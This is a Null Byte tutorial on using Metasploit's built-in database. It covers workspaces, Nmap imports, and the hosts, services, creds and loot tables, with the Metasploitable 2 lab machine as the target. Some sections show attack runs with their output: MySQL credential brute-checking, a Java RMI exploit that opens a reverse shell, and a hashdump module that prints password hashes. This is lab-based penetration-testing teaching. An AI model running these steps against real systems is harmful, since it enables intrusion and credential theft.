How to Use Metasploit's Database to Stay Organized & Store Information While Hacking « Null Byte :: WonderHowTo

The ability to stay organized and be resourceful withdata gathered from reconis one of the things that separates the true hackers from the script kiddies.Metasploitcontains a built-in database that allows for efficient storage of information and the ability to utilize that information to better understand the target, which ultimately leads to more successful exploitation.By understanding and using the built-in Metasploit database to the fullest, we can keep track of information and stay organized during intense hacks. Also, there's being able to set up the database, customize workspaces, store scan results from Nmap, and gather and view discovered information such as services, credentials, and password hashes.Don't Miss:Use Metasploit's Web Delivery Script & Command InjectionI'm usingMetasploitandKali Linuxon the offensive, andMetasploitable 2as my target. Your results will be similar on other Linux distros against other targets.Initial Setup & WorkspacesThe first thing we need to do, if it is not done already, is start the PostgreSQL service that Metasploit'sdatabaseuses, with thesystemctl start postgresqlcommand.systemctl start postgresqlAt any time, we can use thestatuskeyword to check the current state of the service.systemctl status postgresql

● postgresql.service - PostgreSQL RDBMS
   Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor preset: disabled)
   Active: active (exited) since Tue 2019-01-15 09:11:42 CST; 1min 6s ago
  Process: 1708 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
 Main PID: 1708 (code=exited, status=0/SUCCESS)

Jan 15 09:11:42 drd systemd[1]: Starting PostgreSQL RDBMS...
Jan 15 09:11:42 drd systemd[1]: Started PostgreSQL RDBMS.We can initialize the actual database with themsfdbcommand, which creates the default user, database, and relevant information pertaining to the database.msfdb init

[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schemaThis will probably already have been done since it is a necessary step in order to use Metasploit at all. Regardless, we can check on the status similar to before.msfdb status

● postgresql.service - PostgreSQL RDBMS
   Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor preset: disabled)
   Active: active (exited) since Tue 2019-01-15 09:14:03 CST; 59s ago
  Process: 1893 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
 Main PID: 1893 (code=exited, status=0/SUCCESS)

Jan 15 09:14:03 drd systemd[1]: Starting PostgreSQL RDBMS...
Jan 15 09:14:03 drd systemd[1]: Started PostgreSQL RDBMS.

COMMAND   PID     USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
postgres 1857 postgres    3u  IPv6  39550      0t0  TCP localhost:5432 (LISTEN)
postgres 1857 postgres    6u  IPv4  39551      0t0  TCP localhost:5432 (LISTEN)

UID        PID  PPID  C STIME TTY      STAT   TIME CMD
postgres  1857     1  0 09:14 ?        S      0:00 /usr/lib/postgresql/10/bin/postgres -D /var/lib/postgresql/10/main -c config_file=/etc/postgresql/1

[+] Detected configuration file (/usr/share/metasploit-framework/config/database.yml)Now we can launch Metasploit using themsfconsolecommand.msfconsole

 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\

       =[ metasploit v4.17.17-dev                         ]
+ -- --=[ 1817 exploits - 1031 auxiliary - 315 post       ]
+ -- --=[ 539 payloads - 42 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >Once it is up and running, use thehelpkeyword or?to display the help menu. Near the bottom, there will be a section for database commands.msf > help

Database Backend Commands
=========================

    Command           Description
    -------           -----------
    db_connect        Connect to an existing database
    db_disconnect     Disconnect from the current database instance
    db_export         Export a file containing the contents of the database
    db_import         Import a scan result file (filetype will be auto-detected)
    db_nmap           Executes nmap and records the output automatically
    db_rebuild_cache  Rebuilds the database-stored module cache
    db_status         Show the current database status
    hosts             List all hosts in the database
    loot              List all loot in the database
    notes             List all notes in the database
    services          List all services in the database
    vulns             List all vulnerabilities in the database
    workspace         Switch between database workspacesWe can check on the status from here as well:msf > db_status

[*] postgresql connected to msfMetasploit uses workspaces to keep track of different information, allowing for separatescansand sessions to be utilized simultaneously. This keeps everything organized and in order. To view the current workspace, use theworkspacekeyword.msf > workspace

* defaultWe can see that our only option available is the default workspace. We can take a look at the different options for this command with the-hflag.msf > workspace -h

Usage:
    workspace                  List workspaces
    workspace -v               List workspaces verbosely
    workspace [name]           Switch workspace
    workspace -a [name] ...    Add workspace(s)
    workspace -d [name] ...    Delete workspace(s)
    workspace -D               Delete all workspaces
    workspace -r <old> <new>   Rename workspace
    workspace -h               Show this help informationFor instance, we have the ability to add a workspace with the-aflag.msf > workspace -a myworkspace

[*] Added workspace: myworkspaceCreating a new workspace will automatically switch you over to it.msf > workspace

  default
* myworkspaceAnd moving between workspaces is easy, using just its name afterworkplace.msf > workspace default

[*] Workspace: defaultTo delete a workspace, use the-dflag.msf > workspace -d myworkspace

[*] Deleted workspace: myworkspaceThe workspace feature is extremely useful for staying organized while on a pentest or while hacking in general.Nmap ScansAnother powerful feature of Metasploit's database is the ability to interface withNmap. Being able to have the results of any Nmap scan stored at your fingertips makes recon so much easier and effective. We can import the saved results of a scan with thedb_importcommand, followed by the file location.msf > db_import /root/myscan

[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.9.1'
[*] Importing host 172.16.1.102
[*] Successfully imported /root/myscanWe also have the ability to perform an Nmap scan directly from the console. Just use thedb_nmapcommand followed by any options you would normally use for a scan.msf > db_nmap -A 172.16.1.102

[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-15 09:33 CST
[*] Nmap: Nmap scan report for 172.16.1.102
[*] Nmap: Host is up (0.0014s latency).
[*] Nmap: Not shown: 977 closed ports
[*] Nmap: PORT     STATE SERVICE     VERSION
[*] Nmap: 21/tcp   open  ftp         vsftpd 2.3.4
[*] Nmap: |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
[*] Nmap: | ftp-syst:
[*] Nmap: |   STAT:
[*] Nmap: | FTP server status:
[*] Nmap: |      Connected to 172.16.1.100
[*] Nmap: |      Logged in as ftp
[*] Nmap: |      TYPE: ASCII
[*] Nmap: |      No session bandwidth limit
[*] Nmap: |      Session timeout in seconds is 300
[*] Nmap: |      Control connection is plain text
[*] Nmap: |      Data connections will be plain text
[*] Nmap: |      vsFTPd 2.3.4 - secure, fast, stable
[*] Nmap: |_End of status

...From here, the results of the scan will be stored in the database for us to use as we see fit.Hosts & ServicesNow that we have scanned our target, let's display some information about it. Simply use thehostscommand to list information about the current targets stored in the database.msf > hosts

Hosts
=====

address       mac                name  os_name  os_flavor  os_sp  purpose  info  comments
-------       ---                ----  -------  ---------  -----  -------  ----  --------
172.16.1.102  08:00:27:77:62:6c        Linux               2.6.X  serverWe can see the IP and MAC address here, as well as operating system information. Use the-hflag to list all the options for interacting with a host.msf > hosts -h

Usage: hosts [ options ] [addr1 addr2 ...]

OPTIONS:
  -a,--add          Add the hosts instead of searching
  -d,--delete       Delete the hosts instead of searching
  -c <col1,col2>    Only show the given columns (see list below)
  -C <col1,col2>    Only show the given columns until the next restart (see list below)
  -h,--help         Show this help information
  -u,--up           Only show hosts which are up
  -o <file>         Send output to a file in csv format
  -O <column>       Order rows by specified column number
  -R,--rhosts       Set RHOSTS from the results of the search
  -S,--search       Search string to filter by
  -i,--info         Change the info of a host
  -n,--name         Change the name of a host
  -m,--comment      Change the comment of a host
  -t,--tag          Add or specify a tag to a range of hosts

Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_family, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count,We can add or delete hosts manually, modify the info and add comments, and various other housekeeping tasks here. One useful option is the ability to list only certain columns — use the-cflag followed by a comma-separated list of the columns to be shown.msf > hosts -c address,os_name

Hosts
=====

address       os_name
-------       -------
172.16.1.102  LinuxWe can also display a list ofservicesthat were discovered by the Nmap scan from earlier with theservicescommand.msf > services

Services
========

host          port  proto  name         state  info
----          ----  -----  ----         -----  ----
172.16.1.102  21    tcp    ftp          open   vsftpd 2.3.4
172.16.1.102  22    tcp    ssh          open   OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0
172.16.1.102  23    tcp    telnet       open   Linux telnetd
172.16.1.102  25    tcp    smtp         open   Postfix smtpd
172.16.1.102  53    tcp    domain       open   ISC BIND 9.4.2
172.16.1.102  80    tcp    http         open   Apache httpd 2.2.8 (Ubuntu) DAV/2
172.16.1.102  111   tcp    rpcbind      open   2 RPC #100000
172.16.1.102  139   tcp    netbios-ssn  open   Samba smbd 3.X - 4.X workgroup: WORKGROUP
172.16.1.102  445   tcp    netbios-ssn  open   Samba smbd 3.0.20-Debian workgroup: WORKGROUP
172.16.1.102  512   tcp    exec         open   netkit-rsh rexecd
172.16.1.102  513   tcp    login        open
172.16.1.102  514   tcp    shell        open   Netkit rshd
172.16.1.102  1099  tcp    java-rmi     open   Java RMI Registry
172.16.1.102  1524  tcp    bindshell    open   Metasploitable root shell
172.16.1.102  2049  tcp    nfs          open   2-4 RPC #100003
172.16.1.102  2121  tcp    ftp          open   ProFTPD 1.3.1
172.16.1.102  3306  tcp    mysql        open   MySQL 5.0.51a-3ubuntu5
172.16.1.102  5432  tcp    postgresql   open   PostgreSQL DB 8.3.0 - 8.3.7
172.16.1.102  5900  tcp    vnc          open   VNC protocol 3.3
172.16.1.102  6000  tcp    x11          open   access denied
172.16.1.102  6667  tcp    irc          open   UnrealIRCd
172.16.1.102  8009  tcp    ajp13        open   Apache Jserv Protocol v1.3
172.16.1.102  8180  tcp    unknown      open   Apache-Coyote/1.1This will show the host, service name, port, and other information relating to the service. Again, we can view more options for this command by tacking on the-hflag.msf > services -h

Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]

  -a,--add          Add the services instead of searching
  -d,--delete       Delete the services instead of searching
  -c <col1,col2>    Only show the given columns
  -h,--help         Show this help information
  -s <name1,name2>  Search for a list of service names
  -p <port1,port2>  Search for a list of ports
  -r <protocol>     Only show [tcp|udp] services
  -u,--up           Only show services which are up
  -o <file>         Send output to a file in csv format
  -O <column>       Order rows by specified column number
  -R,--rhosts       Set RHOSTS from the results of the search
  -S,--search       Search string to filter by

Available columns: created_at, info, name, port, proto, state, updated_atSimilar options exist, such as the ability to add and delete services manually, to filter by column name, and to search by keyword.msf > services -S mysql

Services
========

host          port  proto  name   state  info
----          ----  -----  ----   -----  ----
172.16.1.102  3306  tcp    mysql  open   MySQL 5.0.51a-3ubuntu5Credentials & LootInformation about discovered hosts and services is not the only thing that can be stored in the database. We can also save valuable data likecredentialsandpassword hashes. Thecredscommand will display current information about discovered credentials.msf > creds

Credentials
===========

host  origin  service  public  private  realm  private_type
----  ------  -------  ------  -------  -----  ------------As you can see, right now there is nothing in there, so let's go enumerate some login info.Metasploit has anauxiliary scannerthat can probe MySQL for valid credentials. Let's run that against our target using the root account and a blank password.msf auxiliary(scanner/mysql/mysql_login) > run

[+] 172.16.1.102:3306     - 172.16.1.102:3306 - Found remote MySQL version 5.0.51a
[+] 172.16.1.102:3306     - 172.16.1.102:3306 - Success: 'root:'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedIt looks like it was successful, so now we can check if the database was populated with those credentials.msf > creds

Credentials
===========

host          origin        service           public  private  realm  private_type
----          ------        -------           ------  -------  -----  ------------
172.16.1.102  172.16.1.102  3306/tcp (mysql)  root                    Blank passwordWe can now see information about the host and service, as well as the login info under root with a blank password. There are more options for credentials beyond this basic usage, which can be viewed with the-hflag.msf > creds -h

With no sub-command, list credentials. If an address range is
given, show only credentials with logins on hosts within that
range.

Usage - Listing credentials:
  creds [filter options] [address range]

Usage - Adding credentials:
  creds add uses the following named parameters.
    user      :  Public, usually a username
    password  :  Private, private_type Password.
    ntlm      :  Private, private_type NTLM Hash.
    ssh-key   :  Private, private_type SSH key, must be a file path.
    hash      :  Private, private_type Nonreplayable hash
    realm     :  Realm,
    realm-type:  Realm, realm_type (domain db2db sid pgdb rsync wildcard), defaults to domain.

...We also have the ability to store other discovered information such as password hashes. To view current findings, use thelootcommand.msf > loot

Loot
====

host  service  type  name  content  info  path
----  -------  ----  ----  -------  ----  ----Again, we haven't done anything yet so there is nothing here yet. Let's see if we can gather some hashes from our target.First, we'll need to compromise it and get a root shell. We can do this in a number of ways, but for now we canexploit a vulnerability found in a Java service. Once we execute the attack, we can background the session.msf exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 172.16.1.100:4444
[*] 172.16.1.102:1099 - Using URL: http://0.0.0.0:8080/fbz8uGK4rg1dea
[*] 172.16.1.102:1099 - Local IP: http://172.16.1.100:8080/fbz8uGK4rg1dea
[*] 172.16.1.102:1099 - Server started.
[*] 172.16.1.102:1099 - Sending RMI Header...
[*] 172.16.1.102:1099 - Sending RMI Call...
[*] 172.16.1.102:1099 - Replied to request for payload JAR
[*] Sending stage (2952 bytes) to 172.16.1.102
[*] 172.16.1.102:1099 - Server stopped.

^Z
Background session 1? [y/N]  yNext, we can use apost-exploitationmodule to get the hashes from this system. Use the session that we just backgrounded and run the exploit.msf post(linux/gather/hashdump) > options

Module options (post/linux/gather/hashdump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

msf post(linux/gather/hashdump) > set session 1
session => 1
msf post(linux/gather/hashdump) > run

[!] SESSION may not be compatible with this module.
[+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
[+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
[+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash
[+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
[+] Unshadowed Password File: /root/.msf4/loot/20190115095943_default_172.16.1.102_linux.hashes_722705.txt
[*] Post module execution completedIt looks like it found some hashes, but let's check the database now for loot.msf > loot

Loot
====

host          service  type          name                   content     info                            path
----          -------  ----          ----                   -------     ----                            ----
172.16.1.102           linux.hashes  unshadowed_passwd.pwd  text/plain  Linux Unshadowed Password File  /root/.msf4/loot/20190115095943_default_172.16.1.102_linux.hashes_722705.txt
172.16.1.102           linux.passwd  passwd.tx              text/plain  Linux Passwd File               /root/.msf4/loot/20190115095943_default_172.16.1.102_linux.passwd_635591.txt
172.16.1.102           linux.shadow  shadow.tx              text/plain  Linux Password Shadow File      /root/.msf4/loot/20190115095943_default_172.16.1.102_linux.shadow_881518.txtNow we can see information about the hashes we found, such as the type and file path. Like the other features of the database, we can see a few more options for loot by displaying the help.msf > loot -h

Usage: loot <options>
 Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]
  Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] -t [type]
  Del: loot -d [addr1 addr2 ...]

  -a,--add          Add loot to the list of addresses, instead of listing
  -d,--delete       Delete *all* loot matching host and type
  -f,--file         File with contents of the loot to add
  -i,--info         Info of the loot to add
  -t <type1,type2>  Search for a list of types
  -h,--help         Show this help information
  -S,--search       Search string to filter byAll of this data we have stored is basically useless if we cannot save it for later. Luckily, we can do just that with thedb_exportcommand.msf > db_export -h

Usage:
    db_export -f <format> [filename]
    Format can be one of: xml, pwdump
[-] No output file was specifiedSimply specify the file format and the path to write to, and all the information stored in the database will be exported to a file for later use.msf > db_export -f xml /root/mydbinfo.xml

[*] Starting export of workspace default to /root/mydbinfo.xml [ xml ]...
[*]     >> Starting export of report
[*]     >> Starting export of hosts
[*]     >> Starting export of events
[*]     >> Starting export of services
[*]     >> Starting export of web sites
[*]     >> Starting export of web pages
[*]     >> Starting export of web forms
[*]     >> Starting export of web vulns
[*]     >> Starting export of module details
[*]     >> Finished export of report
[*] Finished export of workspace default to /root/mydbinfo.xml [ xml ]...Wrap UpIn this article, we explored a little-known feature of Metasploit that allows us to keep track of information and stay organized while hacking. We covered how to set up the database and customize workspaces, how to utilize Nmap to store scan results, and gather and view discovered information such as services, credentials, and password hashes. The ability to store and manage data right in Metasploit allows us to stay organized and ultimately become a more successful hacker.Don't Miss:Use MSFconsole's Generate Command to Obfuscate Payloads & Evade Antivirus DetectionFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image bystartupstockphotos/Pexels; Screenshots by drd_/Null ByteRelatedHow to Hack Databases:Hunting for Microsoft's SQL ServerMac for Hackers:How to Install the Metasploit FrameworkHow To:Gather Information on PostgreSQL Databases with MetasploitHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow to Hack Databases:Cracking SQL Server Passwords & Owning the ServerHow To:Use John the Ripper in Metasploit to Quickly Crack Windows HashesHow To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesHow To:Enumerate MySQL Databases with MetasploitHack Like a Pro:How to Find  Exploits Using the Exploit Database in KaliHow to Hack Databases:Running CMD Commands from an Online MS SQL ServerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Mac for Hackers:How to Organize Your Tools by Pentest StagesHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)How To:Top 10 Exploit Databases for Finding VulnerabilitiesHow to Hack Databases:Extracting Data from Online Databases Using SqlmapHow To:Create your first database in OpenOffice BaseSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackHow to Hack Databases:Hacking MySQL Online Databases with SqlmapNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHack Like a Pro:How to Find the Latest Exploits and Vulnerabilities—Directly from MicrosoftHack Logs and Linux Commands:What's Going On Here?News:Accessing a PostgreSQL Database in your C/C++ ProgramIPsec Tools of the Trade:Don't Bring a Knife to a GunfightNews:ShouldIChangeMyPassword.comHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:PostgreSQL Quick StartHow To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow To:Keep Your Computer Organized in Windows 7How To:10 Awesome Organizing Hacks for Your Living Space